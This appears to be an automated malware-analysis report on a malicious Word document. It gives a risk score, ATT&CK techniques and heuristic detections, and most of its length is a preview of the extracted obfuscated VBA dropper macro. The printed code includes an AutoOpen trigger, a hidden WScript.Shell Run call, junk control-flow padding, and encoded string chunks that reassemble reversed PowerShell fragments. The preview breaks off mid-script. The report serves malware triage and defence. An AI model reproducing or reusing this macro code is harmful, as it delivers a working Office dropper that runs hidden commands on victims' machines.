MALICIOUS
330
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing obfuscated VBA macros. Heuristics indicate the use of WScript.Shell and CreateObject, suggesting the execution of external commands or scripts. The presence of a VBA macro named 'macros.bas' and the ClamAV detection 'Doc.Dropper.Agent-6474984-0' strongly indicate a dropper functionality, likely to download and execute a second-stage payload.
Heuristics 11
-
ClamAV: Doc.Dropper.Agent-6474984-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6474984-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
End Select CreateObject("WScript.Shell").Run UfjKbq + vifRSirzE + woKNAsTB + VLaUzGjz, vbHide Select Case QIMcj -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
End Select CreateObject("WScript.Shell").Run UfjKbq + vifRSirzE + woKNAsTB + VLaUzGjz, vbHide Select Case QIMcj -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
End Function Sub AutoOpen() On Error Resume Next -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
-
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 64041 bytes |
SHA-256: 9e14b9aff83f11a83c179bf6c660df497a2045060fe71858a1b303f4c4647e95 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
499 of 803 identifiers look randomly generated (e.g. 'bNnaDfLQZAMDAwAgNAUGAiBQYAQDAjBwMAcDAhBg') — consistent with name-mangling obfuscation. Carved artifact contains 17 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "XUTYflYqDf"
Function AXSNbIAOOI()
On Error Resume Next
Select Case klMtpi
Case 31613
iwwGT = Fix(63160)
fMFJn = Int(43419)
Case 77096
nlrzS = pqWQpZ
IUNFPC = ChrW(aaTwD)
End Select
WHXos = GvfAfHc + ztTFtC("bNnaDfLQZAMDAwAgNAUGAiBQYAQDAjBwMAcDAhBgMAYDAlBgZAgDAjBgZAkDAmBgZAkDA4AAOAUDA1AAZAEGAmBwNAUGA2AgMAQDAyAAZAYGA2AQZAQDAkBgMAQGAyAwMAADA1AwYAYGAxAQMAgDA2AgNAYGAzAAOAcDAxAgNAQDAzAgMAYDAzA5$0JAL)Cjz(9jEb#", 17, 176)
Select Case klMtpi
Case 31613
iwwGT = Fix(63160)
fMFJn = Int(43419)
Case 77096
nlrzS = pqWQpZ
IUNFPC = ChrW(aaTwD)
End Select
Select Case JBCaW
Case 54524
PLbMV = Fix(45413)
wiGpc = Int(34705)
Case 28719
zTpQQ = iwdPkJ
Skplpc = ChrW(WjMlML)
End Select
iTETmiFOm = hTOkwYw + ztTFtC("MZH]D]]GgYAMDAyAgNAMGAwAgMmKD#O.dL", 9, 18)
Select Case JBCaW
Case 54524
PLbMV = Fix(45413)
wiGpc = Int(34705)
Case 28719
zTpQQ = iwdPkJ
Skplpc = ChrW(WjMlML)
End Select
Select Case qzlCAk
Case 80271
iTiTbw = Fix(42957)
riRJli = Int(1225)
Case 41003
LTtqc = kImRjs
DujvMT = ChrW(dUjUA)
End Select
TFADQwjYap = ZFGijIq + ztTFtC("WWflilpZw,79,091,232,421,761 eK- GNiRtserUCEs-OTtREvNOc | 'A2Sho_Ij)jvjH!#HMQoD!)Kt", 24, 51)
Select Case qzlCAk
Case 80271
iTiTbw = Fix(42957)
riRJli = Int(1225)
Case 41003
LTtqc = kImRjs
DujvMT = ChrW(dUjUA)
End Select
Select Case DUCCEk
Case 54857
iJqhim = Fix(15475)
zdKjH = Int(55726)
Case 90598
ZdLzkq = SlzOtA
oqimUc = ChrW(TODuq)
End Select
ophUJ = kqmrHz + ztTFtC("1Coh(p!FAkBgYAEGAiBQYAIGA4AANAgDAkBAOAYGAhBwMAYDAhBgMAEGA5AwMAIGAmBQNAUDAkBAMAMDA1AwNAkDAkBwMAADAiBgZAQGAhBgYAADA2AAOAMGA1AgNAMDAyAAOAQGA0AQs69_Cf", 7, 132)
Select Case DUCCEk
Case 54857
iJqhim = Fix(15475)
zdKjH = Int(55726)
Case 90598
ZdLzkq = SlzOtA
oqimUc = ChrW(TODuq)
End Select
Select Case vJjbf
Case 54740
ClXczO = Fix(54737)
RWpIG = Int(31554)
Case 57677
TsHzf = Qrtnw
EqzRo = ChrW(kYURrj)
End Select
AtVAdKq = PWbaaZ + ztTFtC("UEabvi2A2AQMAYDA4AQZAUGA2AwNAEGA3AQZAYDA2AAOAkDAlBgYAgDAyAAOAcDAhBwNAIGAhBQNAID1$).ri6Uj]8)TuWib", 18, 72)
Select Case vJjbf
Case 54740
ClXczO = Fix(54737)
RWpIG = Int(31554)
Case 57677
TsHzf = Qrtnw
EqzRo = ChrW(kYURrj)
End Select
Select Case bKHcUz
Case 1687
aDJrz = Fix(45500)
UHidpo = Int(89927)
Case 55387
wraRsm = HzGnLz
EozjQ = ChrW(NBWvQl)
End Select
EVfawcp = IHhQUH + ztTFtC("O7j@wjZvK!Tm1layAQNAMGAkBAMAkDAxAANAADA2AAOAQGAxAwNAcDA5AAP", 2, 43)
Select Case bKHcUz
Case 1687
aDJrz = Fix(45500)
UHidpo = Int(89927)
Case 55387
wraRsm = HzGnLz
EozjQ = ChrW(NBWvQl)
End Select
Select Case wTuEh
Case 77171
DzBYDA = Fix(31281)
zITRsk = Int(49422)
Case 78207
tDniL = szstQT
VMKwdA = ChrW(VDHKiE)
End Select
cOlQDP = qnuEhh + ztTFtC("B#)lDs@.9AEDA0AAOAUGA4AwYAYDAiBAMAYDAmBAOAgDAlBgYAEDAwAQOAYDAxAwNAMGA0AAOAUGA4AgMAkDA4AAOAEGAlBAZAQDHOoMNp(4L6qU", 13, 91)
Select Case wTuEh
Case 77171
DzBYDA = Fix(31281)
zITRsk = Int(49422)
Case 78207
tDniL = szstQT
VMKwdA = ChrW(VDHKiE)
End Select
Select Case ukTPji
Case 51322
QHRbu = Fix(37844)
aTuosV = Int(84863)
Case 95606
pohWOM = WKaYj
Habsa = ChrW(jOUUf)
End Select
uzWQwwv = VJHnWi + ztTFtC("KaLt6UHj2W8BJdF)RH22]b.iBwMAIGAkBQYAcDA0AQZAIDA2AQYAUDA3AAOAADA2AwMAWD3jDIwI9pz", 12, 45)
Select Case ukTPji
Case 51322
QHRbu = Fix(37844)
aTuosV = Int(84863)
Case 95606
pohWOM = WKaYj
Habsa = ChrW(jOUUf)
End Select
Select Case iFFFZ
Case 38960
qvJPXD = Fix(67351)
NmtmdD = Int(92921)
Case 4062
PLTrvl = GjmWF
DsKlL = ChrW(lLERBH)
End Select
MqIGLPFC = kznqWM + ztTFtC(".2l@Cs@jWZ38L)jCb(", 9, 1)
Select Case iFFFZ
Case 38960
qvJPXD = Fix(67351)
NmtmdD = Int(92921)
Case 4062
PLTrvl = GjmWF
DsKlL = ChrW(lLERBH)
End Select
Select Case loMEz
Case 61415
QvWBiS = Fix(32541)
FlXHu = Int(9221)
Case 19445
wjmVLo = XWkuO
BdCAQu = ChrW(Cicbbm)
End Select
vHIFnqrCiRF = lNcPTh + ztTFtC(")vmD_[2j]T2iMw_6!.EbLawD96jrCMAYDAmBwYAYDAhBAMAQDA0AwYAADAiBAOAgDREja", 5, 36)
Select Case loMEz
Case 61415
QvWBiS = Fix(32541)
FlXHu = Int(9221)
Case 19445
wjmVLo = XWkuO
BdCAQu = ChrW(Cicbbm)
End Select
Select Case khKFqC
Case 61225
RbmCc = Fix(45660)
JMmqnH = Int(75226)
Case 36353
PmAhl = KzwsK
vSaiLB = ChrW(SoSfS)
End Select
jwBGYINJ = MbDwH + ztTFtC("ismh%A<vfA.@TlsJvY3AgZAUGAzAQNAMDAyAAMAkDA1AQYAQDAjBQMAIDA5AQZAMGA1AgZAMDAyAgZAADAhBgYAkDAlBwMAUDA2AAZAEDA1AgNAUGAyAQOAgDA4AgZAYGAyAwNAYGAlBAZAUGAjBAOAADAlBgMAcDA5AQYAQGAjBwNAQDAjBwMAADA4AgZAADA4AAOAADA3AgYAMDAjBQNAc8Npl", 5, 198)
Select Case khKFqC
Case 61225
RbmCc = Fix(45660)
JMmqnH = Int(75226)
Case 36353
PmAhl = KzwsK
vSaiLB = ChrW(SoSfS)
End Select
Select Case YESkwt
Case 56857
TNJDHr = Fix(4499)
InItA = Int(46027)
Case 37333
hwWTmV = vAuZru
RADWw = ChrW(LjJCkv)
End Select
PiidMui = UmOXEp + ztTFtC("4pKm%KYGAjBgZAQGA2AgYAUDAiBgYAkDAxAQNAIGAwAQOAEGAkBQOAIGA2AQZAcDAyAwYAADAwAgMAIDAzAQYAkDAkBQMAUDAyAgMAMGA3AwYAQDAhBQNAADAjBgYAEDAiBgZAgDAlBQOAEGAmBwMAIGAiBQZAkDAhBQMAUDAzAgZAADAwAANAIGA4AQZAIDAlO9wrOY", 7, 188)
Select Case YESkwt
Case 56857
TNJDHr = Fix(4499)
InItA = Int(46027)
Case 37333
hwWTmV = vAuZru
RADWw = ChrW(LjJCkv)
End Select
Select Case DCBZt
Case 11856
sFPUU = Fix(31611)
YmwiE = Int(95333)
Case 69377
MzZZii = qoOCM
tCIzzc = ChrW(QdYmb)
End Select
knKiTZ = swLfA + ztTFtC("MCWUC_w1rz@bqn#]]8Eg.]LAhSRam.SeCIvResPOreTNi.EMiTNur[(::]LaHsraM.seciVReSPOretNI.EMITnUR[ ((xEIijat6jEkqd@iFHf", 16, 78)
Select Case DCBZt
Case 11856
sFPUU = Fix(31611)
YmwiE = Int(95333)
Case 69377
MzZZii = qoOCM
tCIzzc = ChrW(QdYmb)
End Select
Select Case plXGz
Case 26109
Uiarf = Fix(68072)
ifwMl = Int(12445)
Case 83352
NuqoNA = tjwWC
QGCkjq = ChrW(HVnwXL)
End Select
tohIhkwB = PYPPsum + ztTFtC("LcZowoj6]W1X0_dikBQNAkDA1AgYAUDAyAAMAEGA5AwMAADAxAQZAEGA0AgZAIDAkBgNAcDAjBQMAEGAwAQMAMGAjBgZAIDA1AgMAIDAmBQNAUGAzAgZAQGA3AANAUDAwAwNAkDAzAQNAQGAwAQYAkvKU", 4, 134)
Select Case plXGz
Case 26109
Uiarf = Fix(68072)
ifwMl = Int(12445)
Case 83352
NuqoNA = tjwWC
QGCkjq = ChrW(HVnwXL)
End Select
Select Case GKGup
Case 99312
OQwjUN = Fix(13694)
COCir = Int(81915)
Case 12441
BTqThX = fZkDLN
sVotH = ChrW(BrzRh)
End Select
rJhUEPnYN = rlrZYhL + ztTFtC("fv!UfwtWAmBQYAcDA0AgZAYGAiBQYAgDAyAQOAcDA2AAMAYGAkBwYAYGAjBwNAkDAwAgYAQDA4AQMAUDAmBAMAMGAyAwYAkDAlBwMAEDAxAQOADWiwVLHluJE9RTW#mIOLa", 22, 102)
Select Case GKGup
Case 99312
OQwjUN = Fix(13694)
COCir = Int(81915)
Case 12441
BTqThX = fZkDLN
sVotH = ChrW(BrzRh)
End Select
Select Case nUKLN
Case 25360
liHLF = Fix(85785)
qMLnFz = Int(27125)
Case 33630
aXmmcE = jupjaC
CjmNwN = ChrW(QPzzdU)
End Select
KGFLozaI = sPCtpa + ztTFtC("Ibtm_vLU3O66cDAjBANAgDA3AAMAQDAkBQMAkDAwAQNAYGA5AQNAUGA0AANAQGA2AQYAMDA5AANAYGA1AgZAADAyAgYAUGAmBANAMGAzAgNAUDAiBgYAEGAjBwMAMGAmBgYAYDA1AwMAUG9njD", 5, 130)
Select Case nUKLN
Case 25360
liHLF = Fix(85785)
qMLnFz = Int(27125)
Case 33630
aXmmcE = jupjaC
CjmNwN = ChrW(QPzzdU)
End Select
Select Case XPhCY
Case 2810
uZwwfW = Fix(90251)
hSNHzR = Int(18300)
Case 51110
Tuwdj = azVvo
Adjbvf = ChrW(zkYHbF)
End Select
OYotad = WYFzV + ztTFtC("RvIFHQ@nb4ImOB#Hds]@!%BgMAMGA4AQNAUDAiBAZAMGZZi))<]f4s6)CJ", 15, 22)
Select Case XPhCY
Case 2810
uZwwfW = Fix(90251)
hSNHzR = Int(18300)
Case 51110
Tuwdj = azVvo
Adjbvf = ChrW(zkYHbF)
End Select
Select Case kWwYD
Case 57652
TOVfW = Fix(98424)
zfzBdD = Int(78080)
Case 14667
wlZvRQ = VTjfD
nzRhYV = ChrW(kjiKpF)
End Select
uATGtdJdwPu = zjMIu + ztTFtC("Y$ilv@AMDADBwMAMDAzBwYAIFA8BgM5435a05061b3143240f3476111d29467'($ (Rth2Iw2GN]3lHdLXGT", 17, 63)
Select Case kWwYD
Case 57652
TOVfW = Fix(98424)
zfzBdD = Int(78080)
Case 14667
wlZvRQ = VTjfD
nzRhYV = ChrW(kjiKpF)
End Select
Select Case LRjAm
Case 87343
wpjXw = Fix(89180)
SiVRkP = Int(424)
Case 59401
zMImS = HDHHRv
rZQbto = ChrW(EVOHC)
End Select
TVwZEQ = ZipzW + ztTFtC("]@vhdtN!vF2nfAcDA4AQOAEDAhBgMAEDA5AQNAIDAhBQOAYDA4AQZAkDA0AgYAgDAwAANAMDAkBANAADAwAQZAUDAmBwYAMGAlBgZAUDAyAANAADAwAwNAEGAwAQYAQDA1AgZAADAwAQZAYGAlBwMAUDAmBQOAYDAwAQOAYDA1AAZAIGAxAQZAADAkBAOAUGAlBwNAYGAiBAOAQDAjBQYv$RvTfdKc", 11, 199)
Select Case LRjAm
Case 87343
wpjXw = Fix(89180)
SiVRkP = Int(424)
Case 59401
zMImS = HDHHRv
rZQbto = ChrW(EVOHC)
End Select
Select Case AdfFJF
Case 45689
WwqFS = Fix(59599)
ELZtV = Int(36267)
Case 7331
JwPDDn = RVEBs
hwibSY = ChrW(tQEFG)
End Select
JaVhJ = HUaPY + ztTFtC("9Aj)cDwmNSw_A_AiBwYAMGA2AQYAYGAkBQYAUGA3AgZAUGAlBgZAEDAjBQOAcDAlBgZAkDA3AQMAEDAxAwYAMGA5AAZAUDA5AAZAMGAwAwYAUGAmBAOAMGAhBgMAgDAyAAZAMGA2AgNAUGA3OnZ@AZ[vWcK6kjbf!dT0", 22, 129)
Select Case AdfFJF
Case 45689
WwqFS = Fix(59599)
ELZtV = Int(36267)
Case 7331
JwPDDn = RVEBs
hwibSY = ChrW(tQEFG)
End Select
Select Case vrqVj
Case 72223
hoDmJ = Fix(58485)
FdGjbi = Int(30048)
Case 19373
cEjwbo = sXddI
iwZVP = ChrW(dTODnl)
End Select
VtPAoY = riuMjaw + ztTFtC("f<mBANAUGAzAwYAUGAiBgYAQDA5AAOAcDA0AQYAcDA2AQYAUGAxAgNAQGA0AwNAYDA5AwNAYGA2AQNAEDAzAgYAEGA2AwMAgDAlBwYAMDA1AAMAUGAlBgNAUDA0AQNAkDA5AgZAYDAmBQYAUDA!piFTmP(AYq[K.YZh!kJ(Km!o!v", 28, 144)
Select Case vrqVj
Case 72223
hoDmJ = Fix(58485)
FdGjbi = Int(30048)
Case 19373
cEjwbo = sXddI
iwZVP = ChrW(dTODnl)
End Select
Select Case WZsHjd
Case 16443
wkwzh = Fix(42578)
MoGNs = Int(69580)
Case 41027
aYpUY = QMKdwS
wPWjTB = ChrW(DCuNwZ)
End Select
LiqfjTjXMs = iOTrM + ztTFtC("Dq_lEabEDA2AgYAgDA3AwYAIDAlBQOAEDA0AwNAQGAxAQYAEGAyAgZAUDAxAwYAcDAjBwYAkDAmBAOAQGAiBQNAEGA2AAZAQDAkBgZAUGAm.Kd<(zT%86KONpwtA7!Km.%$.", 26, 100)
Select Case WZsHjd
Case 16443
wkwzh = Fix(42578)
MoGNs = Int(69580)
Case 41027
aYpUY = QMKdwS
wPWjTB = ChrW(DCuNwZ)
End Select
Select Case koFNn
Case 28104
zbrjwv = Fix(73391)
WtjSU = Int(71715)
Case 50906
GwGoN = fQdcY
aCcVY = ChrW(BoDjq)
End Select
wqrJIkKiVuC = HzGABBz + ztTFtC("]Ab%tkYawKC@VRoC(LioLC[M6(lfAEGAiBQNAIGAwAwYAQGAzAbUj6Ypf", 8, 22)
Select Case koFNn
Case 28104
zbrjwv = Fix(73391)
WtjSU = Int(71715)
Case 50906
GwGoN = fQdcY
aCcVY = ChrW(BoDjq)
End Select
Select Case CAAFjL
Case 336
RDHHCY = Fix(35470)
mEkaf = Int(15196)
Case 72262
OFuUSG = kvsEt
fUlsnD = ChrW(cCNwOo)
End Select
BSVDGkCfOB = KSIbUJF + ztTFtC("bfAwAQNAMDAwAgZAgDAwAQMAMDAmBQMAYGA0AgMAEGAiBQOAIGAmBQOAUGA3AAMAADA3AgYAYDAmBgZAUGA1AAOAgDAyAAMAkDA3AAMAYDAkBAZAMGAyAQMAMDAzAQMAYGAjBANAMGA1AwMAUGAwAgMAcDAjBQMAIGAyAAMAYGAhEN.u(UbZAAa8!aKNLX]4MTD]H)D", 28, 170)
Select Case CAAFjL
Case 336
RDHHCY = Fix(35470)
mEkaf = Int(15196)
Case 72262
OFuUSG = kvsEt
fUlsnD = ChrW(cCNwOo)
End Select
Select Case PquFzP
Case 99584
tFjjvW = Fix(54329)
wLbMd = Int(66219)
Case 11287
qEwzoi = aQTDAm
NRfACR = ChrW(oKbZGG)
End Select
nrHmJ = jVKuuOA + ztTFtC("jSi4kjbSkMAADAkBgMAcDAzAAOAMDAwAwNAYGA1AQZAkDA3AgYAIDAkBQOAYDAhBQYAM4", 2, 59)
Select Case PquFzP
Case 99584
tFjjvW = Fix(54329)
wLbMd = Int(66219)
Case 11287
qEwzoi = aQTDAm
NRfACR = ChrW(oKbZGG)
End Select
Select Case ObMjVd
Case 24541
JniOz = Fix(93300)
CkXdl = Int(83954)
Case 70634
BJzHNO = qjkMq
cqtzNk = ChrW(GYwFVY)
End Select
mFjiwbI = rnWhkCP + ztTFtC("NY68hZLM%ZW.kAGa2ObIpH%QAZAADAwAQYAIGAwAANAMDAyAQYAQDAxAwMAkDAlBgMAYGA1AgYAEGAlBwNAkDAzAQOAYGAwAgZAEGA3AANAYGAkBwNAYDA5AQYAADAlBQMAADA4AQZAUDA3AQMAgDA3AgMAkDAiBQNAYDAiBgZAgDA3AQNASA_z..N2h3uj", 13, 155)
Select Case ObMjVd
Case 24541
JniOz = Fix(93300)
CkXdl = Int(83954)
Case 70634
BJzHNO = qjkMq
cqtzNk = ChrW(GYwFVY)
End Select
Select Case Cuvjf
Case 90596
ifYvzX = Fix(66665)
ikiYwH = Int(99668)
Case 52207
KjdaH = rCvCZW
dZFbS = ChrW(PiBTJt)
End Select
hIRRliN = iVdPwdi + ztTFtC("shbfj6MYNz$G[tmiI7O%.Ujwlt68CmkK.5AlBgMAcDA5AAMAEDAxAANAEGAwAAOAIGA4AANAEDA4AAMAIDAzAQNAkDAhBQNAYGA2AQYAMDAhBQNAQDA0AQMAkDAyAgMAYDA4AQMAYDAxAQOAIGAzAwNAYDAzAQZAIGAkBgZAADAjBQNAYGAyAAZAQDA1AAZAYGAxAgNAcDAmBgNAkDAiBgYAgmjbj", 5, 183)
Select Case Cuvjf
Case 90596
ifYvzX = Fix(66665)
ikiYwH = Int(99668)
Case 52207
KjdaH = rCvCZW
dZFbS = ChrW(PiBTJt)
End Select
Select Case srlMSQ
Case 87942
Nwjkz = Fix(52780)
wtitKs = Int(78016)
Case 57899
ifLzYW = zHsDo
GFILUa = ChrW(AoAzZB)
End Select
KUpKkEEtG = YNZiP + ztTFtC("mm(io!jRC]rWzs%wY<AmBQOAMGAhBQOAQGAhBQOAcDAlm@<]R", 6, 26)
Select Case srlMSQ
Case 87942
Nwjkz = Fix(52780)
wtitKs = Int(78016)
Case 57899
ifLzYW = zHsDo
GFILUa = ChrW(AoAzZB)
End Select
Select Case lUumwH
Case 32886
zNAwp = Fix(30764)
zGzvhn = Int(54276)
Case 57794
aiVTiw = puSWLW
ZjcUt = ChrW(LBqwiT)
End Select
nwWJzv = ioTzE + ztTFtC("c(imOwj[HzG6)) )) )56,431,921,14,351,641,501,602,15,96,142,122,252,632,422,73,111,23,3462", 3, 75)
Select Case lUumwH
Case 32886
zNAwp = Fix(30764)
zGzvhn = Int(54276)
Case 57794
aiVTiw = puSWLW
ZjcUt = ChrW(LBqwiT)
End Select
Select Case jiFKPo
Case 20920
cAPzhY = Fix(33837)
tVSAFO = Int(11389)
Case 17351
Lzstwv = lrbTwv
FCKuq = ChrW(wkVlO)
End Select
IQsHSaSzkTA = llMJJ + ztTFtC("UbZAUGAjBAZAYDAwAwYAQDAiBAOAYDA1AwYAUGAiBwNAIDAiBQZAEDA2AwNAkDAwAAZAEGAlBQYAkDA1AQYAEDA5AAOAUDA5AwNAUDAkBQNAUDA3AgYAcDAmBANAYDA5AgMAcDA2AwYAMDAzAgNAEGA1AgMAUDAhBAOAQDAhBQMAIGAmBQYAcDAFT@T@v)H_v@s2T1jF6WAHiTu", 26, 179)
Select Case jiFKPo
Case 20920
cAPzhY = Fix(33837)
tVSAFO = Int(11389)
Case 17351
Lzstwv = lrbTwv
FCKuq = ChrW(wkVlO)
End Select
Select Case RDXjn
Case 73748
OzUmXE = Fix(13923)
zAUUH = Int(18225)
Case 64592
FhjtH = ftUDCL
MXOMJ = ChrW(OqolML)
End Select
zKQCYbG = MiJhSYw + ztTFtC("TjLdDhkHwEPd<6DA5AQZAUDA4AgYAEDAwAAOAYDAlBQNAIGAwAwYAYDAwAQOAYDAzAANAc#5zF#]_Y", 9, 56)
Select Case RDXjn
Case 73748
OzUmXE = Fix(13923)
zAUUH = Int(18225)
Case 64592
FhjtH = ftUDCL
MXOMJ = ChrW(OqolML)
End Select
Select Case Spnpq
Case 33556
dOWGls = Fix(79434)
uqAos = Int(86239)
Case 27667
XhkXqW = XUbRpz
BnLVz = ChrW(rcHBf)
End Select
STmjf = WQhMMz + ztTFtC("kju89ANAgDAiBgYAQDAzAQZAYDAyAA]RNY<fuwI(lKk[", 15, 25)
Select Case Spnpq
Case 33556
dOWGls = Fix(79434)
uqAos = Int(86239)
Case 27667
XhkXqW = XUbRpz
BnLVz = ChrW(rcHBf)
End Select
Select Case aXkVLA
Case 97234
EhTDN = Fix(13997)
iQwiu = Int(29896)
Case 25267
cHjTIw = RVzYC
wuDmV = ChrW(tzzcR)
End Select
qSEwAdO = mCGzj + ztTFtC("WiAiZ)WfFT8$wjhBQNAEDAyAANAIDA2AAOAQDAwAgYAYGAxAgYAMGAwAAZAAD<nvY", 5, 46)
Select Case aXkVLA
Case 97234
EhTDN = Fix(13997)
iQwiu = Int(29896)
Case 25267
cHjTIw = RVzYC
wuDmV = ChrW(tzzcR)
End Select
Select Case XrddfN
Case 42215
TMVWuN = Fix(25631)
wMIaQ = Int(26836)
Case 42150
OwXQOw = MwTOtw
mPVALP = ChrW(jCPzv)
End Select
JtOLijWhjNf = jMcZZQ + ztTFtC("SXprwjIAlBQHfuJhUjAQH@Q]BF4F", 18, 4)
Select Case XrddfN
Case 42215
TMVWuN = Fix(25631)
wMIaQ = Int(26836)
Case 42150
OwXQOw = MwTOtw
mPVALP = ChrW(jCPzv)
End Select
Select Case WBotA
Case 62460
akXic = Fix(47707)
tNNWXS = Int(18941)
Case 16841
ZrRoil = DEAtQ
BOdfbL = ChrW(iwBwPE)
End Select
YtMKjoqCF = SOdiJVj + ztTFtC("5LNAuYAUDAjBwMAIDAwAAOAYDAjBwYAIDAyAQMAMGAxAwYAEDAxAAZAEDAmBQNAcDAhBgZAIGA5AQMAMGA2AANAgDAjBwYAADAlBgZAQGA1AwMAEGAjBAOAEDA5AQZAgDAkBwMAcDA5AQNAQDA4AAM6H4i)", 6, 145)
Select Case WBotA
Case 62460
akXic = Fix(47707)
tNNWXS = Int(18941)
Case 16841
ZrRoil = DEAtQ
BOdfbL = ChrW(iwBwPE)
End Select
Select Case YlDnv
Case 88403
EOlAKb = Fix(19750)
pRoQw = Int(7544)
Case 86378
hJRuU = FFufHL
Ljbdr = ChrW(FBTzPs)
End Select
SCOaaZwoKZ = jFmss + ztTFtC("f2h2n@aCE.KKwTD2j]tjpDzU)CgZAQDA4AQZAIDA5AQYAEDAxAQNAMGA5AQNAMGAkBQZAUDAiBgYAIGA0AgYAMDAhBQOAQDAiBwNAIGAiBwMAkDA0AQMAQGA5AgMAIDA0AwMAQDAzAwYAkDAyAwMAIDAzAAOAEGAmBgZAYDAwAQYAIDAiBQYAUDAlnOK!jZs]", 9, 159)
Select Case YlDnv
Case 88403
EOlAKb = Fix(19750)
pRoQw = Int(7544)
Case 86378
hJRuU = FFufHL
Ljbdr = ChrW(FBTzPs)
End Select
Select Case IDsHR
Case 19986
obHtju = Fix(77866)
wvlLp = Int(79851)
Case 49100
FsWTfc = wtLjjq
Difcfb = ChrW(oiXjWR)
End Select
jaQoPFPYfsZ = WsmWhKf + ztTFtC("IL2)unK1YAEDA2AAMAEDAkBgMAYGAjBgNAIDA2AAMAQDA0vU4kUfDHEcH_a3", 15, 38)
Select Case IDsHR
Case 19986
obHtju = Fix(77866)
wvlLp = Int(79851)
Case 49100
FsWTfc = wtLjjq
Difcfb = ChrW(oiXjWR)
End Select
Select Case tfljfV
Case 55886
zABToJ = Fix(78690)
zqnKX = Int(91945)
Case 49037
XWiQj = janFt
imfMt = ChrW(XUdRqD)
End Select
amPLG = jadiiS + ztTFtC("fSGAiBAZAYGAlBgZAMGA4AQNAQGAhBANAYDAwAQYAkDA1AgNAUGA4AwYAADA3AQYAYGA1AQMAADA1AQNAgDA3AQNAIGAxAgZAEGAiBwMAYDA2AgZAEGAjBQOAcDA5AwYAQDA2AAOAYDAyAAMAgDAjBwNAEGA0AwNAADAiBAMAMDA0AQOAUGAmBQNAMGA4AgZAIDAyA1jEvDijKAMlJCiMnDc", 19, 196)
Select Case tfljfV
Case 55886
zABToJ = Fix(78690)
zqnKX = Int(91945)
Case 49037
XWiQj = janFt
imfMt = ChrW(XUdRqD)
End Select
Select Case zmnIE
Case 63816
flsbCQ = Fix(28394)
ShkAn = Int(61369)
Case 798
YkpaC = mijpV
TMBJkF = ChrW(wwiLj)
End Select
CrBviW = XNhIkJw + ztTFtC("zpnIDAyAQOAUGAzAAOAADA1AQZAQGAmBQMAQGAlBwNAIDA5AwYAQGA2ADhf0WFjCn", 10, 53)
Select Case zmnIE
Case 63816
flsbCQ = Fix(28394)
ShkAn = Int(61369)
Case 798
YkpaC = mijpV
TMBJkF = ChrW(wwiLj)
End Select
Select Case EOAEEZ
Case 1691
TdGzY = Fix(58671)
BkVnsu = Int(72871)
Case 98970
TAizz = AUWXV
lUpLRq = ChrW(VzHKSP)
End Select
fXhQAW = mCtXZHZ + ztTFtC("2]ND!LLXhVCUE)_1MDA4AgZAIDAhBQYAcDA3AQYAcDAxAQNAUDAyAwMAcDAjBgZAYDA3AANAEGAjBQOAYDAmBQYAQGAmBgZAIDAmBQYAIDA3AwMAgDAyAQYAYDA2AQOAMGA5AgZAMGAjBANAEDAlBAMAIDAzAANAYDA2AgZAYGA3AQOAMDA4AQNAUDA2AAZAgDAkBQNAM38wAVpS[0.#UKjjbDTpq9j", 23, 184)
Select Case EOAEEZ
Case 1691
TdGzY = Fix(58671)
BkVnsu = Int(72871)
Case 98970
TAizz = AUWXV
lUpLRq = ChrW(VzHKSP)
End Select
Select Case jkzSq
Case 4556
EhNjq = Fix(75270)
rZSdUI = Int(9059)
Case 6382
vciiQK = zwMkqK
DjbJN = ChrW(lWZLY)
End Select
aOaGRlBi = kbkGzS + ztTFtC("(h2HECjFSbOTgNIRtsEruceS::]LAhsrAM.SEcivRESpoRETnI.emitNur[ (eKoVnI.)eMAN.]5[)(SrEBmeMt.hiiNHGHdq0Aiw..8H8ZWw]#Ksvt", 29, 79)
Select Case jkzSq
Case 4556
EhNjq = Fix(75270)
rZSdUI = Int(9059)
Case 6382
vciiQK = zwMkqK
DjbJN = ChrW(lWZLY)
End Select
Select Case uMoRJY
Case 72350
vjAANw = Fix(81614)
RpCqG = Int(89185)
Case 1212
jpzzTK = EbJhZO
soBIpp = ChrW(NIpdb)
End Select
